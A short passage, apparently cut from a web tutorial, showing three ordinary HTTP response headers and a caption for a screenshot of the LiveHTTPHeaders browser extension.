Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
```

Figure 1: Screenshot of `LiveHTTPHeaders` Extension